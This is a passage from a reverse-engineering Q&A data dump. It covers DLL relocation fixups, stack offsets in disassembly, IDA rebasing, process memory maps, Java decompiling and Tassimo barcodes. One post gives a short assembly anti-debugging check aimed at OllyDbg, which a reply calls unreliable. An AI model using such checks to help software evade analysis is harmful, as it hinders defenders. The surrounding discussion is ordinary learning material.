(Commit)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Double-click one of these entries (I chose the one that had 856kB)&lt;/li&gt;&#xA;&lt;li&gt;Press the &lt;strong&gt;Save...&lt;/strong&gt; button to store the contents to a binary file on the HDD.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 1:&lt;/strong&gt; What is causing these bytes to change? &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Sub-question 1.1:&lt;/strong&gt; Is is some sort of protection mechanism? &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Sub-question 1.2:&lt;/strong&gt; Was it recently introduced?  &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Sub-question 1.3:&lt;/strong&gt; Can it be disabled?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 2:&lt;/strong&gt; What do these changing bytes represent in the code of the DLLs? &lt;/p&gt;&#xA;" OwnerUserId="3696" LastActivityDate="2014-03-19T21:51:28.647" Title="What changes in MS Windows system libraries after restart?" Tags="|windows|dll|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3896" PostTypeId="2" ParentId="3895" CreationDate="2014-03-18T13:42:53.710" Score="7" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Question 1:&lt;/strong&gt; What is causing these bytes to change?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These appear to be standard relocation fixups applied based on the DLL's &lt;strong&gt;Relocation Table&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Sub-question 1.1:&lt;/strong&gt; Is is some sort of protection mechanism?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Sub-question 1.2:&lt;/strong&gt; Was it recently introduced?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Sub-question 1.3:&lt;/strong&gt; Can it be disabled?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not easily, no.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Question 2:&lt;/strong&gt; What do these changing bytes represent in the code of the DLLs?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Addresses.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-03-18T13:42:53.710" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="3898" PostTypeId="1" CreationDate="2014-03-18T16:51:49.227" Score="2" ViewCount="950" Body="&lt;p&gt;I'm trying to understand how to locate local variables in memory. I have disassembled a c code and I have the address of the instructions. I want the memory location where that variable is stored. I tried to access the instruction address of i in c code but the variable is not located there. I think it is located at a &quot;offset&quot; from the base pointer. But I don't know about the concept of offset. Any help will be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;    int i = 10;&#xA;    int j = -1;&#xA;    int k = 4;&#xA;    int l = 9;&#xA;    int m;&#xA;&#xA;    m = (i-j) + (k-l);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Disassembled code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;003E13A0  push        ebp  &#xA;003E13A1  mov         ebp,esp  &#xA;003E13A3  sub         esp,0FCh  &#xA;003E13A9  push        ebx  &#xA;003E13AA  push        esi  &#xA;003E13AB  push        edi  &#xA;003E13AC  lea         edi,[ebp-0FCh]  &#xA;003E13B2  mov         ecx,3Fh  &#xA;003E13B7  mov         eax,0CCCCCCCCh  &#xA;003E13BC  rep stos    dword ptr es:[edi]  &#xA;    int i = 10;&#xA;003E13BE  mov         dword ptr [i],0Ah  &#xA;    int j = -1;&#xA;003E13C5  mov         dword ptr [j],0FFFFFFFFh  &#xA;    int k = 4;&#xA;003E13CC  mov         dword ptr [k],4  &#xA;    int l = 9;&#xA;003E13D3  mov         dword ptr [l],9  &#xA;    int m;&#xA;&#xA;    m = (i-j) + (k-l);&#xA;003E13DA  mov         eax,dword ptr [i]  &#xA;003E13DD  sub         eax,dword ptr [j]  &#xA;003E13E0  mov         ecx,dword ptr [k]  &#xA;003E13E3  sub         ecx,dword ptr [l]  &#xA;003E13E6  add         eax,ecx  &#xA;003E13E8  mov         dword ptr [m],eax  &#xA;}&#xA;003E13EB  xor         eax,eax  &#xA;003E13ED  pop         edi  &#xA;003E13EE  pop         esi  &#xA;003E13EF  pop         ebx  &#xA;003E13F0  mov         esp,ebp  &#xA;003E13F2  pop         ebp  &#xA;003E13F3  ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Registers&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EAX = 001A9478 EBX = 7EFDE000 ECX = 001A8868 EDX = 00000001 ESI = 00000000 EDI = 00000000 EIP = 00BE13A0 ESP = 003BF990 EBP = 003BF9DC EFL = 00000214 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4187" LastActivityDate="2014-03-20T21:16:31.570" Title="Concept of location local variables in memory using disassembly window and registers?" Tags="|disassembly|c|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3899" PostTypeId="2" ParentId="3898" CreationDate="2014-03-18T20:23:58.563" Score="2" Body="&lt;p&gt;I'm not sure why this question was down-voted. I'm going to answer it from a generic standpoint as it might be a bit off-topic for the RE group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, you need to spend some time understand &lt;a href=&quot;http://en.wikipedia.org/wiki/Assembly_language&quot; rel=&quot;nofollow&quot;&gt;assembly instruction format&lt;/a&gt; for your processor architecture. From looking at the disassembly above, you have the information you need but you'll (1) need to understand the format of each instruction and (2) need a debugger. A debugger works with a processor to extract run-time information about the register set. In addition to understanding assembly instruction format, you will need to review the processor registers. You'll want to set breakpoints (see debugger instructions) and check the Program Counter often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;If you try to add C instructions to read out memory values, you will change the entire assembly offset! In other words, by adding an instruction, you may change the location of the value.&lt;/b&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One helpful piece of info: when working with C (and other languages) there is typically several instructions used to setup the stack and for arguments passed in to the function. Once you get an understanding of what each instruction is you'll begin to see the pattern emerge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also put some known instructions in your code to help you trace through it. For example, maybe do some printfs and see what those look like. Or add instructions to add 0xBE to 0xAD and look for those values in the produced code.&lt;/p&gt;&#xA;" OwnerUserId="3796" LastActivityDate="2014-03-18T20:23:58.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3901" PostTypeId="2" ParentId="3898" CreationDate="2014-03-19T01:36:05.993" Score="2" Body="&lt;p&gt;While you could accomplish a similar result by using gdb's &quot;disassemble main&quot; command, I chose to write your example (with one minor alteration), compile it with mingw (no flags/options) and disassemble it with the trial version of IDA Pro:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00401334 ; =============== S U B R O U T I N E =======================================&#xA;.text:00401334&#xA;.text:00401334 ; Attributes: bp-based frame&#xA;.text:00401334&#xA;.text:00401334 ; void main()&#xA;.text:00401334                 public _main&#xA;.text:00401334 _main           proc near               ; CODE XREF: ___mingw_CRTStartup+F8p&#xA;.text:00401334&#xA;.text:00401334 var_4           = dword ptr -4&#xA;.text:00401334&#xA;.text:00401334                 push    ebp&#xA;.text:00401335                 mov     ebp, esp&#xA;.text:00401337                 push    ebx&#xA;.text:00401338                 and     esp, 0FFFFFFF0h ; Logical AND&#xA;.text:0040133B                 sub     esp, 20h        ; Integer Subtraction&#xA;.text:0040133E                 call    ___main         ; Call Procedure&#xA;.text:00401343                 mov     dword ptr [esp+1Ch], 0Ah&#xA;.text:0040134B                 mov     dword ptr [esp+18h], 0FFFFFFFFh&#xA;.text:00401353                 mov     dword ptr [esp+14h], 4&#xA;.text:0040135B                 mov     dword ptr [esp+10h], 9&#xA;.text:00401363                 mov     eax, [esp+18h]&#xA;.text:00401367                 mov     edx, [esp+1Ch]&#xA;.text:0040136B                 mov     ecx, edx&#xA;.text:0040136D                 sub     ecx, eax        ; Integer Subtraction&#xA;.text:0040136F                 mov     eax, [esp+10h]&#xA;.text:00401373                 mov     edx, [esp+14h]&#xA;.text:00401377                 mov     ebx, edx&#xA;.text:00401379                 sub     ebx, eax        ; Integer Subtraction&#xA;.text:0040137B                 mov     eax, ebx&#xA;.text:0040137D                 add     eax, ecx        ; Add&#xA;.text:0040137F                 mov     [esp+0Ch], eax&#xA;.text:00401383                 mov     ebx, [ebp+var_4]&#xA;.text:00401386                 leave                   ; High Level Procedure Exit&#xA;.text:00401387                 retn                    ; Return Near from Procedure&#xA;.text:00401387 _main           endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The key point here in understanding offsets is that its all based on the program's base address, which can be different depending on your platform.  Understanding base address is a processor, language, and OS-specific problem.  For windows binaries, do some googling on PE Headers.  (That will explain the .text.)  Generally speaking offsets mean &quot;how many bytes from the beginning of the program/function call.&quot;  Convention holds that an &quot;int&quot; (in C languages&quot; is 4 bytes (32b) and that's why you usually see variables like yours placed 4B apart from each other.  Notice the offsets by your variable declarations:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.text:00401343                 mov     dword ptr [esp+1Ch], 0Ah&#xA;.text:0040134B                 mov     dword ptr [esp+18h], 0FFFFFFFFh&#xA;.text:00401353                 mov     dword ptr [esp+14h], 4&#xA;.text:0040135B                 mov     dword ptr [esp+10h], 9&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each variable is 4B off from each other.  Do you get the hint about offsets yet?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Offsets have alot to do with &quot;esp,&quot; traditionally the &quot;stack pointer.&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when you see the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00401343                 mov     dword ptr [esp+1Ch], 0Ah&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You're looking at the data that's at the address that is &quot;1Ch&quot; away from &quot;esp.&quot; (Get familiar with HEX arithmetic.  Google.)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;.text&quot; that you see is telling you what the instructions are at that particular offset in the &quot;.text&quot; portion of the program.  (Google.  PE headers again.)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I haven't completely answered your question, but if you're doing binary analysis, you really DO need to get used to wide swaths of ambiguity... reverse engineering isn't like programming in a high-level language at all.  There's no concept of a data type, only a data type inferred by looking at the surrounding instructions.  Its ugly, and its beautiful at the same time.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I altered your program thusly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void main()&#xA;{&#xA;    int i = 10;&#xA;    int j = -1;&#xA;    int k = 4;&#xA;    int l = 9;&#xA;    int m;&#xA;&#xA;    m = (i-j) + (k-l);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you start a C program with &quot;int main(){..}&quot; you really must at least have return 0;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you didn't have that, I altered the program to return void.  &lt;/p&gt;&#xA;" OwnerUserId="4053" LastEditorUserId="4053" LastEditDate="2014-03-19T02:34:43.457" LastActivityDate="2014-03-19T02:34:43.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3902" PostTypeId="2" ParentId="3584" CreationDate="2014-03-19T02:49:53.373" Score="1" Body="&lt;p&gt;The concept of lexical scope is ONLY available at a higher level of language than assembly.  The compiler is what keeps track of scope.  Once source has been compiled to machine code, the concept of &quot;scope&quot; ceases to exist... its just a long stream of instructions.  &lt;/p&gt;&#xA;" OwnerUserId="4053" LastEditorUserId="4053" LastEditDate="2014-05-30T21:51:55.617" LastActivityDate="2014-05-30T21:51:55.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3903" PostTypeId="2" ParentId="3587" CreationDate="2014-03-19T03:01:36.173" Score="1" Body="&lt;p&gt;Googling brought me this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.tutorialspoint.com/ruby-on-rails/rails-directory-structure.htm&quot; rel=&quot;nofollow&quot;&gt;http://www.tutorialspoint.com/ruby-on-rails/rails-directory-structure.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;demo/&#xA;..../app&#xA;......../controller&#xA;......../helpers&#xA;......../models&#xA;......../views&#xA;............../layouts&#xA;..../components&#xA;..../config&#xA;..../db&#xA;..../doc&#xA;..../lib&#xA;..../log&#xA;..../public&#xA;..../script&#xA;..../test&#xA;..../tmp&#xA;..../vendor&#xA;README&#xA;Rakefile&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4053" LastActivityDate="2014-03-19T03:01:36.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3904" PostTypeId="2" ParentId="3037" CreationDate="2014-03-19T03:04:53.243" Score="0" Body="&lt;p&gt;The only way to verify &quot;how hard&quot; reversing something is, is to attempt to reverse it yourself--by hand.  And that's a little tricky if you're the one who wrote it.  There's no automated tool I'm aware of that can do this.  &lt;/p&gt;&#xA;" OwnerUserId="4053" LastActivityDate="2014-03-19T03:04:53.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3905" PostTypeId="2" ParentId="3532" CreationDate="2014-03-19T07:13:48.620" Score="5" Body="&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I was really checking on it and it seems there is a really easy way to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PROGRAM USED : &lt;a href=&quot;http://jd.benow.ca/&quot; rel=&quot;noreferrer&quot;&gt;jd-gui&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;STEPS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Extract the exe file using any archive manager (eg:WinRar)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now use this program (&lt;a href=&quot;http://jd.benow.ca/&quot; rel=&quot;noreferrer&quot;&gt;jd-gui&lt;/a&gt;) to decompile it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6UtLu.jpg&quot; alt=&quot;jd-gui&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You are done and now you have the code in native java form&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3740" LastEditorUserId="53" LastEditDate="2014-03-19T08:28:46.837" LastActivityDate="2014-03-19T08:28:46.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3906" PostTypeId="2" ParentId="3886" CreationDate="2014-03-19T10:55:23.577" Score="1" Body="&lt;p&gt;The only real question here:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Is there a way to force the JVM to log all method calls with parameters?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.oracle.com/javase/8/docs/technotes/tools/windows/java.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.oracle.com/javase/8/docs/technotes/tools/windows/java.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.oracle.com/technetwork/java/javase/tech/vmoptions-jsp-140102.html&quot; rel=&quot;nofollow&quot;&gt;http://www.oracle.com/technetwork/java/javase/tech/vmoptions-jsp-140102.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't see anything obvious while searching the documentation, which is extensive.&lt;/p&gt;&#xA;" OwnerUserId="4053" LastActivityDate="2014-03-19T10:55:23.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3907" PostTypeId="1" AcceptedAnswerId="3918" CreationDate="2014-03-19T12:16:30.563" Score="5" ViewCount="765" Body="&lt;p&gt;While playing around with FPU instructions I discovered an anti-debugging trick for&#xA;OllyDbg. I haven't found it in popular references so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all here it is.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fnsave [esp-100h]&#xA;cmp word ptr [esp-0EEh], 07FFh      ; 07FFh (all bits set) in Olly 2&#xA;                                    ; 0000h in Olly 1&#xA;                                    ; something different otherwise&#xA;je @being_debugged&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code fragment checks the &quot;Last Instruction Opcode&quot; at +0x12. According to Intel manuals it's set if and only if an exception occured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value is set only once, it doesn't work when restarting (&amp;lt;&amp;lt;) the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't know where the values come from. When Olly calls GetThreadContext() of debuggee, the value is already set. Other debuggers does not seem to behave like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone confirm this? Tested on Win XP SP3, Intel P4.&lt;/p&gt;&#xA;" OwnerUserId="4194" LastActivityDate="2014-03-19T20:15:42.570" Title="OllyDbg FPU anti-debug" Tags="|ollydbg|anti-debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3909" PostTypeId="1" AcceptedAnswerId="3910" CreationDate="2014-03-19T14:29:36.547" Score="0" ViewCount="7759" Body="&lt;p&gt;If a binary file is open with ROM starting at 0x10A000, how do I easily change the ROM starting address of the file to 0x109000? I always had to restart IDA to do it. I also tried to &quot;rebase the program using shift delta&quot; but I don't know how to use a negative shift delta, plus it's not automated.&lt;/p&gt;&#xA;" OwnerUserId="4166" LastActivityDate="2014-03-19T14:42:07.563" Title="Rebase program with negative shift delta in IDA" Tags="|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3910" PostTypeId="2" ParentId="3909" CreationDate="2014-03-19T14:41:44.953" Score="3" Body="&lt;p&gt;Rebase it and choose a new &lt;strong&gt;Image base&lt;/strong&gt; of &lt;code&gt;0x109000&lt;/code&gt; instead of trying to specify a &lt;strong&gt;Shift delta&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-03-19T14:41:44.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3911" PostTypeId="2" ParentId="3909" CreationDate="2014-03-19T14:42:07.563" Score="3" Body="&lt;p&gt;Look in IDA menu: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit-&gt;Segments-&gt;Rebase program.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-03-19T14:42:07.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3912" PostTypeId="2" ParentId="3886" CreationDate="2014-03-19T16:00:22.540" Score="2" Body="&lt;p&gt;Well the good news is that it's barely been obfuscated. I don't see any string encryption, which is the one thing that every single commercial obfuscator does. The only thing I see is basic class/method renaming. Most likely they just ran it through Proguard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bad news is that even with weak obfuscation, it's still a pain to read through. (Heck, with a large codebase it's often a pain just to read through the original commented source code!) But there's not much you can do except slog through it. Coming up with meaningful names to rename everything is obviously not something that can be done automatically. This is where the human traditionally steps in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they happen to have included an open source library in the renamed part, you can match it up and automatically rename all those parts back to the original, but I don't see any signs of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, it's just a matter of reverse engineering. At least you're a lot better off than with x86 reverse engineering.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2014-03-19T16:00:22.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3913" PostTypeId="2" ParentId="3895" CreationDate="2014-03-19T16:04:55.160" Score="3" Body="&lt;p&gt;What you see is offsets modified to reflect a changed base address. Anything that's not relative to the base (be it global variables or calls or whatever) needs to be adjusted if the image base changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PE files can have a relocation table for that. Can, as in standard .exe files usually don't have it, as it was not necessary until ASLR (random base addresses for modules) came along.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For DLLs the base address is likely to change as it depends on what other files are already loaded so they almost always have a base relocation table that says &quot;If the base address differs from XYZ, add the delta to the following locations&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are curios how that base relocation table looks like, I'll recommend checking out the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;See the following code implementing a &lt;a href=&quot;http://secureimplugin.googlecode.com/svn/trunk/CryptoPP/dllloader.cpp&quot; rel=&quot;nofollow&quot;&gt;custom PE file loader&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Search for &lt;code&gt;IMAGE_DIRECTORY_ENTRY_BASERELOC&lt;/code&gt; to see code handling the relocation directory.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4196" LastEditorUserId="53" LastEditDate="2014-03-19T21:51:28.647" LastActivityDate="2014-03-19T21:51:28.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3914" PostTypeId="2" ParentId="2876" CreationDate="2014-03-19T16:14:00.087" Score="0" Body="&lt;p&gt;Another reason for NOP insertion is due to pipeline scheduling. If it takes a cycle for branch prediction to determine whether it was correct or not (and if not to flush the pipe), then you'd need a cycle delay before results are committed to registers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the specific example where the jump equal goes to a NOP, it appears to me that the processor needs a cycle to determine whether it got the right answer or not and adjust the pipe as necessary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Great job digging in to the code and understanding what is going on. :)&lt;/p&gt;&#xA;" OwnerUserId="3796" LastActivityDate="2014-03-19T16:14:00.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3915" PostTypeId="1" AcceptedAnswerId="3916" CreationDate="2014-03-19T18:05:42.550" Score="4" ViewCount="2414" Body="&lt;p&gt;I've been looking for any Windows functions to view or dump memory, or the process to do this manually. I can not find info on this anywhere online.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I get a dump of a process's memory like the one in Olly's memory window?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit for clarification:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to be able to retrieve an address's base page address. The memory map was the best relation I had to this, as it gives page info such as size, starting address, permissions, etc. &lt;code&gt;VirtualQueryEx()&lt;/code&gt; solved the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up iterating through the pages until I found one in which my target address fell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tend to ask for what I think would be the solution rather than laying out my problem and taking suggestions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you all for the help.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Iterate through pages&#xA;for(base = NULL; &#xA;    WINDOWS::VirtualQuery(base, info, sizeof(*info)) == sizeof(*info); &#xA;    base += info-&amp;gt;RegionSize) {&#xA;&#xA;    if(p &amp;gt; base &amp;amp;&amp;amp; p &amp;lt; base + info-&amp;gt;RegionSize) {&#xA;        found = true;&#xA;        break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4197" LastEditorUserId="245" LastEditDate="2014-04-03T00:59:36.760" LastActivityDate="2014-04-03T00:59:36.760" Title="How does Ollydbg obtain the memory map (alt+m)?" Tags="|windows|memory|dumping|" AnswerCount="2" CommentCount="1" ClosedDate="2014-03-31T15:43:17.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="3916" PostTypeId="2" ParentId="3915" CreationDate="2014-03-19T18:24:18.783" Score="7" Body="&lt;p&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/aa366907%28v=vs.85%29.aspx&quot;&gt;&lt;code&gt;VirtualQueryEx()&lt;/code&gt;&lt;/a&gt; can be used to scan through the user-mode address space of a process to enumerate each memory allocation, and PE headers of images in memory can be parsed to determine which memory blocks are associated with which PE sections. PE headers for DLLs also contain the DLLs' names.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-03-19T18:24:18.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3917" PostTypeId="2" ParentId="3915" CreationDate="2014-03-19T19:49:46.887" Score="1" Body="&lt;p&gt;To dump memory to a file, see the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ee416349%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;DbgHelp MiniDumpWriteDump&lt;/a&gt; function. You'll get a snapshot of the memory as a dump file (.DMP) which you can then analyze with various tools or by yourself using the &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/hardware/ff561475%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;DbgEng debugging engine&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3355" LastActivityDate="2014-03-19T19:49:46.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3918" PostTypeId="2" ParentId="3907" CreationDate="2014-03-19T20:15:42.570" Score="7" Body="&lt;p&gt;Last Instruction Opcode is set mainly for the use of exception handlers, but it's set for every non-control FPU instruction (that is, set by loads, stores, compares, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value is non-zero on my system, but it is different value, and it's not constant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Olly 1 doesn't request as many context fields as Olly 2 does, and that's part of the reason why the values are different.  The context structure initialization leaves some fields unassigned.  It's not specific to Olly that some of the bits are set.  Also note that the value of (0xd800+)0x7ff does not decode to any meaningful instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, not a reliable detection method.&lt;/p&gt;&#xA;" OwnerUserId="1323" LastActivityDate="2014-03-19T20:15:42.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3919" PostTypeId="1" CreationDate="2014-03-20T16:45:59.747" Score="36" ViewCount="49713" Body="&lt;p&gt;&lt;sup&gt;In hope this is &lt;a href=&quot;https://meta.stackexchange.com/q/226134/147640&quot;&gt;appropriate&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have a Bosch Tassimo TAS2002EE coffee maker that uses T-Disks. Those contain coffee/milk/something else, and a barcode that is supposed to tell the machine how to deal with the disk.&lt;/p&gt;&#xA;&lt;p&gt;What I want to do is understand the barcode and come up with some different barcodes that would be accepted as valid and let me adjust e.g. drink volume.&lt;/p&gt;&#xA;&lt;p&gt;At first I wasn't able to find any decent information about these barcodes, among the top Google hits were things like &lt;a href=&quot;http://rightertrack.com/articles/barcodes-help-brew-your-perfect-cup-of-jo&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; rather useless rant. Surprisingly, when searching for pictures of T-Disks (in order to study more barcodes), I stumbled upon this useful post: &lt;a href=&quot;http://www.chapmanconsulting.ca/post/2007/12/02/Hacking-the-Tassimo-Part-2-Breaking-the-Code.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hacking the Tassimo - Part 2: Breaking the Code&lt;/a&gt; &lt;sup&gt;(&lt;a href=&quot;https://web.archive.org/web/20130901003014/http://www.chapmanconsulting.ca:80/post/2007/12/02/Hacking-the-Tassimo-Part-2-Breaking-the-Code.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;archive&lt;/a&gt;)&lt;/sup&gt;, which also links to &lt;a href=&quot;http://www.google.com/patents/US7231869&quot; rel=&quot;nofollow noreferrer&quot;&gt;this T-Disk-related patent&lt;/a&gt;, in which there is a table explaining the controlling bits. While this was quite promising, it resulted in nothing, as the blog author &lt;a href=&quot;http://www.chapmanconsulting.ca/post/2007/12/05/Hacking-the-Tassimo-Part-3-Updates.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;found out&lt;/a&gt; himself, too. &lt;sup&gt;(&lt;a href=&quot;https://web.archive.org/web/20130517205730/http://www.chapmanconsulting.ca/post/2007/12/05/Hacking-the-Tassimo-Part-3-Updates.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Part 3 archive&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;On top of the information from the links above, here's what I found out myself.&lt;/p&gt;&#xA;&lt;p&gt;The barcode uses the &lt;a href=&quot;http://en.wikipedia.org/wiki/Interleaved_2_of_5&quot; rel=&quot;nofollow 